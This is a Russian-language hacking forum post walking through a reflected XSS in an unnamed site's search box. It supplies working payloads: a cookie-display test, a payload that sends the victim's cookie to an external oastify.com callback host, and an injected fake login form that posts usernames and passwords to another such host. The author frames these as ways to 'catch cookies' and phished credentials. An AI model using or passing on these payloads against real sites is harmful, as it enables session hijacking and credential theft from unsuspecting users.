LIMB
Всем привет данный разбор написал специально для нашего форума. Уязвимость нашел араб багхантер=))
Имеется вот такой сайтик. В поле поиска вставляем пэйлоад.
Заменяем на свой линк из collaborator
и ловим кукисы.
Далее это фишинг вставляем свою форму
И ловим отстуки.
Введем для теста любые креды.
Вот и пришел отстук=))
Не удалось прогрузить медиа
Имеется вот такой сайтик. В поле поиска вставляем пэйлоад.
Не удалось прогрузить медиа
Code:
RXSS:
<img src=x onerror=prompt(document.cookie)>
GET VICTIM COOKIE:
<img src=x onerror="document.location='http://rc7w5m7jhg21ocjac538sajua0105cu.oastify.com?c='+document.cookie;" />
PHISHING:
<h3>Please login to proceed</h3> <form action=http://3w08pyvr1z0el0wvuopfs4uvemkd84wt.oastify.com>
Username:<br><input type="username" name="username"></br> Password:<br><input type="password" name="password"></br> <input type="submit" value="Login"></br>Заменяем на свой линк из collaborator
Не удалось прогрузить медиа
и ловим кукисы.
Далее это фишинг вставляем свою форму
Не удалось прогрузить медиа
И ловим отстуки.
Не удалось прогрузить медиа
Введем для теста любые креды.
Не удалось прогрузить медиа
Вот и пришел отстук=))
👍4
😁1
🤔1